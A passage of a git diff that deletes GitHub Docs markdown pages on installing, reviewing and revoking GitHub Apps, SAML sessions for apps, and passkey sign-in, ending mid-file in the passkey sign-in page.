/github/customizing-your-github-workflow/installing-an-app-in-your-organization - - /github/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-organization - - /get-started/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-organization - - /apps/using-github-apps/installing-an-app-in-your-organization - - /apps/using-github-apps/installing-a-github-app-in-your-organization -versions: - fpt: '*' - ghec: '*' -shortTitle: Install from Marketplace for org ---- - -## About {% data variables.product.prodname_marketplace %} - -This article applies to installing and purchasing {% data variables.product.prodname_github_apps %} from {% data variables.product.prodname_marketplace %}. For more information on installing {% data variables.product.prodname_github_apps %} from a source other than {% data variables.product.prodname_marketplace %}, see [AUTOTITLE](/apps/using-github-apps/installing-a-github-app-from-a-third-party). - -{% data reusables.data-residency.github-marketplace-apps-unsupported %} - -If you install a {% data variables.product.prodname_github_app %} on your organization account and you choose a paid plan, you will pay for your app subscription on your organization's current billing date using your organization's existing payment method. - -{% data reusables.marketplace.free-trials %} - -For more information about installing an {% data variables.product.prodname_oauth_app %} instead of a {% data variables.product.prodname_github_app %} from {% data variables.product.prodname_marketplace %}, see [AUTOTITLE](/apps/oauth-apps/using-oauth-apps/installing-an-oauth-app-in-your-organization). - -## About installing {% data variables.product.prodname_github_apps %} - -{% data reusables.apps.about-installation %} - -### Difference between installation and authorization - -After you install a {% data variables.product.prodname_github_app %}, you may also be asked to authorize the app. - -{% data reusables.apps.install-vs-authorize %} - -For more information about authorizing {% data variables.product.prodname_github_apps %}, see [AUTOTITLE](/apps/using-github-apps/authorizing-github-apps). - -## Requirements to install a {% data variables.product.prodname_github_app %} on an organization - -Organization owners can install {% data variables.product.prodname_github_apps %} on their organization. - -For enterprises that pay by credit card, enterprise owners who are also organization owners can install {% data variables.product.prodname_github_apps %} on organizations within their enterprise. - -Admins of repositories that are owned by an organization can also install {% data variables.product.prodname_github_apps %} on the organization if they only grant the app access to repositories that they are an admin of and if the app does not request any organization permissions or the "repository administration" permission. Organization owners can prevent outside collaborators who are repository admins from installing {% data variables.product.prodname_github_apps %}. - -The "app manager" role in an organization does not give a person the ability to install a {% data variables.product.prodname_github_app %} in the organization. For more information, see [AUTOTITLE](/apps/maintaining-github-apps/about-github-app-managers). - -{% ifversion ghec %} - -For enterprise managed user accounts, only enterprise owners can purchase and install a paid {% data variables.product.prodname_github_app %} for an organization in the enterprise. Enterprise members cannot purchase a paid {% data variables.product.prodname_github_app %}. Organization owners with an enterprise managed user account can still install a free {% data variables.product.prodname_github_app %}. - -{% endif %} - -## Installing a {% data variables.product.prodname_github_app %} in your organization - -{% data reusables.marketplace.visit-marketplace %} -{% data reusables.marketplace.browse-to-app %} -{% data reusables.marketplace.choose-plan %} -{% data reusables.marketplace.install-buy %} -{% data reusables.marketplace.confirm-install-account-org %} -{% data reusables.marketplace.add-payment-method-org %} -{% data reusables.marketplace.complete-order-begin-installation %} -1. If the app requires access to repositories, select **All repositories** or **Only select repositories**. - - If the app creates any repositories, the app will automatically be granted access to those repositories as well. -{% data reusables.marketplace.select-installation-repos %} -{% data reusables.marketplace.review-app-perms-install %} - -## Further reading - -* [AUTOTITLE](/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method) -* [AUTOTITLE](/apps/using-github-apps/installing-an-app-in-your-personal-account) diff --git a/content/apps/using-github-apps/installing-a-github-app-from-github-marketplace-for-your-personal-account.md b/content/apps/using-github-apps/installing-a-github-app-from-github-marketplace-for-your-personal-account.md deleted file mode 100644 index 3d430f43410f..000000000000 --- a/content/apps/using-github-apps/installing-a-github-app-from-github-marketplace-for-your-personal-account.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Installing a GitHub App from GitHub Marketplace for your personal account -intro: 'You can install {% data variables.product.prodname_github_apps %} from {% data variables.product.prodname_marketplace %} to use on your personal account.' -redirect_from: - - /articles/installing-an-app-in-your-personal-account - - /github/customizing-your-github-workflow/installing-an-app-in-your-personal-account - - /github/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-personal-account - - /get-started/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-personal-account - - /apps/using-github-apps/installing-an-app-in-your-personal-account - - /apps/using-github-apps/installing-a-github-app-in-your-personal-account -versions: - fpt: '*' - ghec: '*' -shortTitle: Install from Marketplace for user ---- - -## About {% data variables.product.prodname_marketplace %} - -This article applies to installing and purchasing {% data variables.product.prodname_github_apps %} from {% data variables.product.prodname_marketplace %}. For more information on installing {% data variables.product.prodname_github_apps %} from a source other than {% data variables.product.prodname_marketplace %}, see [AUTOTITLE](/apps/using-github-apps/installing-a-github-app-from-a-third-party). - -{% data reusables.data-residency.github-marketplace-apps-unsupported %} - -If you install a {% data variables.product.prodname_github_app %} on your personal account and you choose a paid plan, you will pay for your app subscription on your personal account's current billing date using your existing payment method. - -{% data reusables.marketplace.free-trials %} - -For more information about installing an {% data variables.product.prodname_oauth_app %} instead of a {% data variables.product.prodname_github_app %} from {% data variables.product.prodname_marketplace %}, see [AUTOTITLE](/apps/oauth-apps/using-oauth-apps/installing-an-oauth-app-in-your-personal-account). - -## About installing {% data variables.product.prodname_github_apps %} - -{% data reusables.apps.about-installation %} - -### Difference between installation and authorization - -After you install a {% data variables.product.prodname_github_app %}, you may also be asked to authorize the app. - -{% data reusables.apps.install-vs-authorize %} - -For more information about authorizing {% data variables.product.prodname_github_apps %}, see [AUTOTITLE](/apps/using-github-apps/authorizing-github-apps). - -## Installing a {% data variables.product.prodname_github_app %} in your personal account - -{% data reusables.marketplace.visit-marketplace %} -{% data reusables.marketplace.browse-to-app %} -{% data reusables.marketplace.choose-plan %} -{% data reusables.marketplace.install-buy %} -{% data reusables.marketplace.confirm-install-account-personal %} -{% data reusables.marketplace.add-payment-method-personal %} -{% data reusables.marketplace.complete-order-begin-installation %} -1. If the app requires access to repositories, select **All repositories** or **Only select repositories**. - - If the app creates any repositories, the app will automatically be granted access to those repositories as well. -{% data reusables.marketplace.select-installation-repos %} -{% data reusables.marketplace.review-app-perms-install %} - -## Further reading - -* [AUTOTITLE](/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method) -* [AUTOTITLE](/apps/using-github-apps/installing-an-app-in-your-organization) diff --git a/content/apps/using-github-apps/installing-your-own-github-app.md b/content/apps/using-github-apps/installing-your-own-github-app.md deleted file mode 100644 index 6ae920fc226a..000000000000 --- a/content/apps/using-github-apps/installing-your-own-github-app.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Installing your own GitHub App -intro: 'You can install a {% data variables.product.prodname_github_app %} that you created on the personal or organization account that owns the app. If your app is public, the {% data variables.product.prodname_github_app %} can also be installed on other accounts.' -redirect_from: - - /apps/installing-github-apps - - /developers/apps/installing-github-apps - - /developers/apps/managing-github-apps/installing-github-apps - - /apps/maintaining-github-apps/installing-github-apps - - /apps/maintaining-github-apps/installing-your-own-github-app -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -shortTitle: Install your own app ---- - -## About installing your own {% data variables.product.prodname_github_app %} - -After creating a {% data variables.product.prodname_github_app %}, you can install it based on its visibility. - -* **Only on this account:** The {% data variables.product.prodname_github_app %} can only be installed on the organization or user account that created it.{% ifversion ghec %} If you are an {% data variables.product.prodname_emu %}, this option is not available for apps you create.{% ifversion enterprise-apps-public-beta %} This visibility is not available for apps registered by an enterprise.{% endif %}{% endif %} -* **Any account:** You can install this {% data variables.product.prodname_github_app %} on your user account or any organization account where you are an organization owner.{% ifversion enterprise-apps-public-beta %} This visibility is not available for apps registered by an enterprise. -* **Only enterprise organizations:** If the {% data variables.product.prodname_github_app %} is owned by an enterprise, you can only install the app on organizations within the enterprise. Organizations where you are an organization owner will appear in the installation options.{% endif %}{% ifversion ghec %} - -If you are an {% data variables.product.prodname_emu %}, you cannot install a {% data variables.product.prodname_github_app %} on your user account.{% endif %} - -## Installing your own {% data variables.product.prodname_github_app %} - -{% data reusables.apps.settings-step-personal-orgs %} -{% data reusables.user-settings.developer_settings %} -{% data reusables.user-settings.github_apps %} -1. Next to the {% data variables.product.prodname_github_app %} that you want to install, click **Edit**. -1. Click **Install App**. -1. Click **Install** next to the location where you want to install the {% data variables.product.prodname_github_app %}. -1. If the app requires repository permissions, select **All repositories** or **Only select repositories**. The app will always have at least read-only access to all public repositories on {% data variables.product.company_short %}. - - If the app does not require repository permissions, these options will be omitted. -1. If you selected **Only select repositories** in the previous step, under the **Select repositories** dropdown, select the repositories that you want the app to access. - - If the app creates any repositories, the app will automatically be granted access to those repositories as well. -1. Click **Install**. diff --git a/content/apps/using-github-apps/internal-github-apps.md b/content/apps/using-github-apps/internal-github-apps.md deleted file mode 100644 index 1128a73bb0a3..000000000000 --- a/content/apps/using-github-apps/internal-github-apps.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Internal GitHub Apps -intro: 'Some {% data variables.product.prodname_github_apps %} are internal apps, owned by {% data variables.product.company_short %}, that are granted special capabilities.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Internal apps ---- - -Some {% data variables.product.prodname_github_apps %} are internal apps. These apps are owned by {% data variables.product.company_short %} and are granted special capabilities. For example, users can authorize these apps and use them to access data from an organization without requiring approval by the organization. - -Some of these internal apps are automatically included with {% data variables.product.company_short %} and do not require user authorization. These apps will not appear in your list of authorized {% data variables.product.prodname_github_apps %} or in your list of installed {% data variables.product.prodname_github_apps %}.{% ifversion ghec %}{% data variables.product.prodname_emus %} are allowed to install these internal apps on their user account, while standard, unprivileged apps cannot be installed on {% data variables.product.prodname_emus %} user accounts.{% endif %} - -These internal apps will appear in the user security log, but will not appear in organization{% ifversion ghes or ghec %} or enterprise{% endif %} audit logs. {% ifversion ghes or ghec %}For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log), [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization), and [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise).{% else %}For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log) and [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization).{% endif %} - -These {% data variables.product.prodname_github_apps %} are: - -* Actions -* Dependabot -* Git Src Migrator -* GitHub Advanced Security -* GitHub Classroom -* GitHub Codespaces -* GitHub Copilot Plugin -* GitHub Merge Queue -* GitHub Pages -* GitHub Project Automation -* GitHub Team Synchronization -* Microsoft Teams for GitHub -* OpenGraph (`custom-og-image`) -* Slack diff --git a/content/apps/using-github-apps/requesting-a-github-app-from-your-organization-owner.md b/content/apps/using-github-apps/requesting-a-github-app-from-your-organization-owner.md deleted file mode 100644 index ee4851f5fb11..000000000000 --- a/content/apps/using-github-apps/requesting-a-github-app-from-your-organization-owner.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Requesting a GitHub App from your organization owner -intro: 'Organization members can request installation of a {% data variables.product.prodname_github_app %} for their organization.' -versions: - fpt: '*' - ghec: '*' -shortTitle: Request for org ---- - -> [!NOTE] -> Currently, you can only request a {% data variables.product.prodname_github_app %} from your organization owner when installing the {% data variables.product.prodname_github_app %} directly from the {% data variables.product.prodname_github_app %} owner, not when installing a {% data variables.product.prodname_github_app %} from {% data variables.product.prodname_marketplace %}. -> -> If you find a {% data variables.product.prodname_github_app %} on {% data variables.product.prodname_marketplace %} that you want your organization owner to install, you must make the request from the {% data variables.product.prodname_github_app %}'s public installation page. The URL for a {% data variables.product.prodname_github_app %} public installation page is `https://github.com/apps/APP-NAME/installations/new`, where `APP-NAME` is the name of the {% data variables.product.prodname_github_app %}. - -Organization members can send a request for their organization owner to install a {% data variables.product.prodname_github_app %} on the organization. To do so, follow the steps outlined in [AUTOTITLE](/apps/using-github-apps/installing-a-github-app-from-a-third-party#installing-a-github-app). If you don't have permission to install the {% data variables.product.prodname_github_app %} on the organization, {% data variables.product.company_short %} will send an email to the organization owner to notify them of the request. The organization owner can modify the repositories that you selected and choose whether to install the {% data variables.product.prodname_github_app %}. diff --git a/content/apps/using-github-apps/reviewing-and-modifying-installed-github-apps.md b/content/apps/using-github-apps/reviewing-and-modifying-installed-github-apps.md deleted file mode 100644 index d2d984d380d5..000000000000 --- a/content/apps/using-github-apps/reviewing-and-modifying-installed-github-apps.md +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Reviewing and modifying installed GitHub Apps -shortTitle: Review installations -intro: "You can review the permissions and change the repository access for {% data variables.product.prodname_github_apps %} that you have installed. You can also temporarily or permanently prevent a {% data variables.product.prodname_github_app %} from accessing resources owned by your account or organization." -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps ---- - -## About installed {% data variables.product.prodname_github_apps %} - -{% data variables.product.company_short %} users can install {% data variables.product.prodname_github_apps %} on their personal account or organizations. When you install a {% data variables.product.prodname_github_app %}, you grant the app the organization-level and repository-level permissions that it requested. You also specify which repositories the {% data variables.product.prodname_github_app %} can access. - -You should periodically review the {% data variables.product.prodname_github_apps %} that you have installed. You can review the permissions that you granted and change the repositories that the {% data variables.product.prodname_github_app %} can access. If you no longer use an app, consider suspending or deleting the {% data variables.product.prodname_github_app %} to block its access to resources owned by the account where it is installed. - -In addition to reviewing {% data variables.product.prodname_github_apps %} that you have installed, you can review {% data variables.product.prodname_github_apps %} that you have authorized to act on your behalf. For more information, see [AUTOTITLE](/apps/using-github-apps/reviewing-and-revoking-authorization-of-github-apps). - -## Navigating to the {% data variables.product.prodname_github_app %} you want to review or modify - -* For a {% data variables.product.prodname_github_app %} installed on an organization: - 1. In the top right corner of {% data variables.product.prodname_dotcom %}, click your profile photo, then click **Your organizations**. - 1. Next to your organization name, click **Settings**. - 1. In the side bar, under "Third-party Access," click **GitHub Apps**. A list of the {% data variables.product.prodname_github_apps %} installed on your organization will be displayed. - 1. Next to the {% data variables.product.prodname_github_app %} you want to review or modify, click **Configure**. - -* For a {% data variables.product.prodname_github_app %} installed on your personal account: - 1. In the upper-right corner of any page, click your profile photo, then click **Settings**. - 1. Under "Integrations," click **Applications**. - 1. Click **Installed GitHub Apps**. A list of the {% data variables.product.prodname_github_apps %} installed on your personal account will be displayed. - 1. Next to the {% data variables.product.prodname_github_app %} you want to review or modify, click **Configure**. - -* For a repository where a {% data variables.product.prodname_github_app %} was granted access: - - > [!NOTE] - > In the following steps, you will be taken to the account settings for the organization or personal account where the {% data variables.product.prodname_github_app %} is installed. The settings will affect all repositories where the app is installed under that account, not just the repository where you navigated from. - - 1. Navigate to the main page of the organization or repository. - 1. Click **{% octicon "gear" aria-hidden="true" %} Settings**. - 1. Under "Integrations," click **GitHub Apps**. A list of the {% data variables.product.prodname_github_apps %} that have been granted access to your repository will be displayed. - - 1. Next to the {% data variables.product.prodname_github_app %} you want to review or modify, click **Configure**. - -## Reviewing permissions - -1. Navigate to the {% data variables.product.prodname_github_app %} you want to modify. For more information, see [Navigating to the GitHub App you want to review or modify](#navigating-to-the-github-app-you-want-to-review-or-modify). -1. Under "Permissions," review the permissions that the {% data variables.product.prodname_github_app %} has. For more information about what different permissions enable a {% data variables.product.prodname_github_app %} to do, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/choosing-permissions-for-a-github-app). - -## Modifying repository access - -1. Navigate to the {% data variables.product.prodname_github_app %} you want to modify. For more information, see [Navigating to the GitHub App you want to review or modify](#navigating-to-the-github-app-you-want-to-review-or-modify). -1. Under "Repository access," select **All repositories** or **Only select repositories**. -1. If you selected **Only select repositories** in the previous step, under the **Select repositories** dropdown, select the repositories that you want the {% data variables.product.prodname_github_app %} to access. - - If the {% data variables.product.prodname_github_app %} creates any repositories later, the app will automatically be granted access to those repositories as well. -1. Click **Save**. - -## Blocking access - -1. Navigate to the {% data variables.product.prodname_github_app %} you want to modify. For more information, see [Navigating to the GitHub App you want to review or modify](#navigating-to-the-github-app-you-want-to-review-or-modify). -1. To keep the {% data variables.product.prodname_github_app %} installed for future use but temporarily block it from accessing resources owned by your account, click **Suspend**. - - When you suspend a {% data variables.product.prodname_github_app %}, your authorization of the app (if the app is installed on your personal account) or the authorization of the app by members of your organization (if the app is installed on an organization) will not be affected. For more information, see [AUTOTITLE](/apps/using-github-apps/authorizing-github-apps). - - If the {% data variables.product.prodname_github_app %} was previously suspended, you can unsuspend the app by clicking **Unsuspend**. If the {% data variables.product.prodname_github_app %} was suspended by the {% data variables.product.prodname_github_app %} owner, then you cannot unsuspend the app. -1. To uninstall a {% data variables.product.prodname_github_app %} and block it from accessing resources owned by your account, click **Uninstall**. - - When you uninstall a {% data variables.product.prodname_github_app %} from an account, the app will lose access to the resources in that account. The app might still be authorized to access organizations on your behalf, if it has installations in those organizations. - - If you want to stop an app from acting on your behalf anywhere on {% data variables.product.github %}, also de-authorize the app in the "Authorized {% data variables.product.prodname_github_apps %}" tab of your user account. This will fully deactivate any tokens issued to the app on your behalf. For more information, see [AUTOTITLE](/apps/using-github-apps/authorizing-github-apps). - -## Further reading - -* [AUTOTITLE](/apps/using-github-apps/reviewing-and-revoking-authorization-of-github-apps) -* [AUTOTITLE](/apps/using-github-apps/internal-github-apps) diff --git a/content/apps/using-github-apps/reviewing-and-revoking-authorization-of-github-apps.md b/content/apps/using-github-apps/reviewing-and-revoking-authorization-of-github-apps.md deleted file mode 100644 index 6f0dc1b9723e..000000000000 --- a/content/apps/using-github-apps/reviewing-and-revoking-authorization-of-github-apps.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Reviewing and revoking authorization of GitHub Apps -intro: 'You can review the {% data variables.product.prodname_github_apps %} that you have authorized, and you can revoke your authorization.' -redirect_from: - - /articles/reviewing-your-authorized-integrations - - /github/authenticating-to-github/reviewing-your-authorized-integrations - - /github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-authorized-integrations - - /authentication/keeping-your-account-and-data-secure/reviewing-your-authorized-integrations - - /apps/using-github-apps/reviewing-your-authorized-integrations -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management -shortTitle: Review your authorizations ---- - -## About authorized {% data variables.product.prodname_github_apps %} - -You may authorize a {% data variables.product.prodname_github_app %} to give the app permission to access information on your {% data variables.product.company_short %} account and to act on your behalf. For more information, see [AUTOTITLE](/apps/using-github-apps/authorizing-github-apps). - -You should periodically review the {% data variables.product.prodname_github_apps %} that you have authorized. If you no longer use an app, consider revoking your authorization for that app. - -The authorization can only be revoked by the person who authorized the {% data variables.product.prodname_github_app %}. Organization owners cannot revoke {% data variables.product.prodname_github_app %} authorizations for their organization members. However, organization owners can uninstall the {% data variables.product.prodname_github_app %} from their organization, which will prevent the app from accessing organization-owned resources. For more information, see [AUTOTITLE](/apps/using-github-apps/reviewing-and-modifying-installed-github-apps). - -## Reviewing your authorized {% data variables.product.prodname_github_apps %} - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.access_applications %} -1. Click the **Authorized {% data variables.product.prodname_github_apps %}** tab. -1. Review the {% data variables.product.prodname_github_apps %} that have access to your account. For those that you don't recognize or that have not been used recently, click **Revoke**. To revoke your authorization for all {% data variables.product.prodname_github_apps %}, click **Revoke all**. - - ![Screenshot of the "Authorized {% data variables.product.prodname_github_apps %}" tab. Next to an app, a button, labeled "Revoke," is highlighted in orange.](/assets/images/help/settings/revoke-github-app.png) - -## Further reading - -* [AUTOTITLE](/apps/using-github-apps/reviewing-and-modifying-installed-github-apps) -* [AUTOTITLE](/apps/oauth-apps/using-oauth-apps/reviewing-your-authorized-applications-oauth) -* [AUTOTITLE](/apps/using-github-apps/internal-github-apps) diff --git a/content/apps/using-github-apps/saml-and-github-apps.md b/content/apps/using-github-apps/saml-and-github-apps.md deleted file mode 100644 index e15bf428737d..000000000000 --- a/content/apps/using-github-apps/saml-and-github-apps.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: SAML and GitHub Apps -shortTitle: SAML with apps -intro: "If your organization uses SAML SSO, you may need to start an active SAML session for your organization before authorizing, installing, or requesting a {% data variables.product.prodname_github_app %}." -versions: - ghec: '*' -topics: - - GitHub Apps - - SSO ---- - -## Authorizing {% data variables.product.prodname_github_apps %} for SAML users - -If your organization uses SAML SSO, you may not be able to see your organization's resources after you authorize a {% data variables.product.prodname_github_app %}. For example, if the app displays a list of repositories, you may not see repositories owned by your organization. To resolve this issue, follow these steps: - -1. Go to `https://github.com/orgs/ORGANIZATION-NAME/sso` to start an active SAML session for your organization. Replace `ORGANIZATION-NAME` with the name of your organization. -1. Revoke your authorization of the {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/apps/using-github-apps/reviewing-and-revoking-authorization-of-github-apps). -1. Reauthorize the {% data variables.product.prodname_github_app %}. {% data variables.product.prodname_github_app %} authorization is initiated by the app and varies based on the app. For example, some {% data variables.product.prodname_github_apps %} may have you click on a link or enter a command in your terminal. For more information, see [AUTOTITLE](/apps/using-github-apps/authorizing-github-apps). - -## Installing or requesting {% data variables.product.prodname_github_apps %} for SAML users - -If your organization uses SAML, you may not see your organization listed when you try to install or request an {% data variables.product.prodname_github_app %} for your organization. To resolve this issue, follow these steps: - -1. Go to `https://github.com/orgs/ORGANIZATION-NAME/sso` to start an active SAML session for your organization. Replace `ORGANIZATION-NAME` with the name of your organization. -1. Try to install or request the {% data variables.product.prodname_github_app %} again. For more information, see [AUTOTITLE](/apps/using-github-apps/installing-a-github-app-from-a-third-party), [AUTOTITLE](/apps/using-github-apps/installing-a-github-app-from-github-marketplace-for-your-organizations), and [AUTOTITLE](/apps/using-github-apps/requesting-a-github-app-from-your-organization-owner). diff --git a/content/authentication/authenticating-with-a-passkey/about-passkeys.md b/content/authentication/authenticating-with-a-passkey/about-passkeys.md deleted file mode 100644 index 5fc5c7b8a83f..000000000000 --- a/content/authentication/authenticating-with-a-passkey/about-passkeys.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: About passkeys -intro: 'Passkeys allow you to sign in safely and easily, without requiring a password and two-factor authentication.' -permissions: '{% ifversion fpt or ghec %}Personal account owners who manage their own credentials{% endif %}' -versions: - feature: passkeys -shortTitle: About passkeys ---- - -{% data reusables.passkeys.ghes-disable %} - -## About passkeys - -{% data reusables.passkeys.about-passkeys %} - -Passkeys are pairs of cryptographic keys (a public key and a private key) that are stored by an authenticator you control. The authenticator can prove that a user is present and is authorized to use the passkey. Authenticators prove authorization with a PIN, passcode, biometric, or device password, depending on the authenticator's capabilities and configuration. Authenticators come in many forms, such as an iPhone or Android device, Windows Hello, a FIDO2 hardware security key, or a password manager. - -When you sign in to {% data variables.product.prodname_dotcom %} using a passkey, your authenticator uses public key cryptography to prove your identity to {% data variables.product.company_short %} without ever sending the passkey. Passkeys are bound to a website domain, like `{% data variables.product.prodname_dotcom_the_website %}`, and require a secure connection, meaning that the web browser will refuse to authenticate to a lookalike phishing website. These properties make passkeys highly phishing-resistant, and much harder to attack than SMS or TOTP 2FA, which can be phished. - -Cloud-backed passkey services allow passkeys to be synced across devices (such as Apple devices, Android devices, or password managers) so they can be used from more places and are less easily lost. Once you have set up a synced passkey on one device, that passkey is available to use across multiple devices using the same service. For example, if you register a passkey with your iCloud account using your MacBook's Touch ID, you can then use that passkey with your face, fingerprint, PIN, or device password interchangeably across multiple devices tied to the same iCloud account. - -For more information about adding a passkey to your account, see [AUTOTITLE](/authentication/authenticating-with-a-passkey/managing-your-passkeys). - -For 2FA users, if you already have passkey-eligible security keys registered to your account for 2FA, you can upgrade these existing credentials into passkeys in your account settings. When you use an eligible security key to sign in, you'll also be asked if you want to upgrade it to a passkey. For more information, see [AUTOTITLE](/authentication/authenticating-with-a-passkey/managing-your-passkeys#upgrading-an-existing-security-key-to-a-passkey). - -## About authenticators - -Some authenticators allow passkeys to be used with nearby devices. For example, perhaps you want to sign in to {% data variables.product.prodname_dotcom %} using a bluetooth-enabled laptop that's not set up with a passkey. If you have registered a passkey on your phone, you might opt to scan a QR code, or trigger a push notification to your phone, in order to complete the sign in securely. For more information, see [AUTOTITLE](/authentication/authenticating-with-a-passkey/signing-in-with-a-passkey#signing-in-with-a-passkey-using-a-nearby-device). - -Other authenticators create device-bound passkeys, meaning they can only be used on a single authenticator. These passkeys cannot be backed up or moved to another authenticator. Some passkey providers may offer device-bound passkeys as an option during passkey creation, while other providers may not offer the choice between device-bound and synced passkeys. - -Authenticators can also be portable devices. Passkeys stored on FIDO2 hardware security keys are also "device-bound," but they have the advantage of being portable and can be attached to other devices in a variety of ways (USB, NFC or Bluetooth). On some platform and web browser combinations, FIDO2 security keys may be the only way to use passkeys. - -For information on whether your device and operating system support passkeys, see [Device support](https://passkeys.dev/device-support/) in the Passkeys.dev documentation, and [Web Authentication API](https://caniuse.com/webauthn) in the CanIUse documentation. - -## Feedback - -You can share your feedback on passkeys with {% data variables.product.company_short %}. To join the conversation, see [[Feedback] Passkeys for passwordless authentication](https://gh.io/passkey-feedback). - -## Further reading - -* [AUTOTITLE](/authentication/authenticating-with-a-passkey/managing-your-passkeys) -* [AUTOTITLE](/authentication/authenticating-with-a-passkey/signing-in-with-a-passkey) -* [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication) diff --git a/content/authentication/authenticating-with-a-passkey/index.md b/content/authentication/authenticating-with-a-passkey/index.md deleted file mode 100644 index c80effa3ce28..000000000000 --- a/content/authentication/authenticating-with-a-passkey/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Authenticating with a passkey -intro: 'You can add passkeys to your account so that you can sign in safely and easily, without requiring a password and two-factor authentication. You can also use passkeys when performing a sensitive action (sudo mode), or to authenticate a password reset.' -versions: - feature: passkeys -children: - - /about-passkeys - - /managing-your-passkeys - - /signing-in-with-a-passkey -shortTitle: Authenticate with a passkey ---- - -{% data reusables.passkeys.ghes-disable %} diff --git a/content/authentication/authenticating-with-a-passkey/managing-your-passkeys.md b/content/authentication/authenticating-with-a-passkey/managing-your-passkeys.md deleted file mode 100644 index 6661e8141fe1..000000000000 --- a/content/authentication/authenticating-with-a-passkey/managing-your-passkeys.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Managing your passkeys -intro: 'You may be prompted to register a passkey during sign-in, or you can choose to register a new passkey in your account settings. For 2FA users, you can upgrade existing eligible security keys into passkeys.' -permissions: '{% ifversion fpt or ghec%}Personal account owners who manage their own credentials{% endif %}' -versions: - feature: passkeys -type: how_to -shortTitle: Manage your passkeys ---- - -{% data reusables.passkeys.ghes-disable %} - -## About managing your passkeys - -If you are connecting to {% data variables.product.prodname_dotcom %} from an eligible device and browser, {% data variables.product.company_short %} may prompt you to register the device as a passkey during sign-in. You can also add passkeys to your account from your account settings. For more information, see [Adding a passkey to your account](#adding-a-passkey-to-your-account). - -If you use two-factor authentication (2FA), {% data variables.product.company_short %} may prompt you to upgrade existing eligible security keys (such as Mac TouchID, or Windows Hello) into passkeys after authenticating to {% data variables.product.prodname_dotcom %}. You can also upgrade eligible security keys from your account settings. For more information, see [Upgrading an existing security key to a passkey](#upgrading-an-existing-security-key-to-a-passkey). - -For information on how to remove a passkey from your account, see [Removing a passkey from your account](#removing-a-passkey-from-your-account). - -## Adding a passkey to your account - -{% data reusables.passkeys.adding-a-passkey %} - -## Upgrading an existing security key to a passkey - -> [!NOTE] -> * Platform support for upgrading security keys is inconsistent, so if you're seeing failures from your operating system or browser when trying to register an existing credential, we suggest that you remove and re-register the security key. -> * If you have used a security key recently and it's eligible for an upgrade, an upgrade button will be shown next to the security key in the settings menu. You can use the button to trigger the upgrade flow. You can also attempt to upgrade other keys by registering them as a passkey, even if the upgrade button isn't shown. - -Before starting the upgrade procedure, make sure that you are using the device that's linked to the existing security key. Then, when you click **Add a passkey** in your account settings, {% data variables.product.company_short %} will automatically bump you into the "Upgrade to a passkey" flow. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.security %} -{% data reusables.passkeys.add-passkey-settings-page %} -1. If prompted, authenticate with your password, or use another existing authentication method. -1. Under “Configure passwordless authentication”, under "Upgrade your security key registration to a passkey", review the information that confirms the name of the security key to be upgraded, then click **Upgrade to passkey**. -1. At the prompt, follow the steps outlined by the passkey provider. -{% data reusables.passkeys.passkey-success-done %} - -## Removing a passkey from your account - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.security %} -1. To the right of the passkey that you want to remove, click **{% octicon "trash" aria-label="Delete passkey" %}**. -1. Review the information in the “Delete confirmation” pop-up window, then click **Delete**. - -## Recovering a passkey - -Many passkeys support syncing, where your passkey is backed up by the provider's account system (iCloud, Google account, password manager, etc.). If you ever lose your device, you can recover your synced passkeys by signing in to your passkey provider. - -In some cases, your passkey may be "device-bound", which means the passkey cannot be synced and is not backed up to the cloud. For example, you can register FIDO2 hardware security keys (such as a YubiKey) as a passkey, but that passkey will not be synced. If your passkey is device-bound, and you lose or wipe the device, the passkey cannot be recovered. If you are only using device-bound passkeys, it is a best practice to register passkeys on at least two different devices, in case you lose access to one. - -You can see which of your passkeys are synced, and which are device-bound, under "Passkeys" in your account security settings. Synced passkeys will include a blue `Synced` label next to their name. - -## Further reading - -* [AUTOTITLE](/authentication/authenticating-with-a-passkey/about-passkeys) -* [AUTOTITLE](/authentication/authenticating-with-a-passkey/signing-in-with-a-passkey) diff --git a/content/authentication/authenticating-with-a-passkey/signing-in-with-a-passkey.md b/content/authentication/authenticating-with-a-passkey/signing-in-with-a-passkey.md deleted file mode 100644 index db9faf82e764..000000000000 --- a/content/authentication/authenticating-with-a-passkey/signing-in-with-a-passkey.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Signing in with a passkey -intro: 'You can use a passkey to sign in 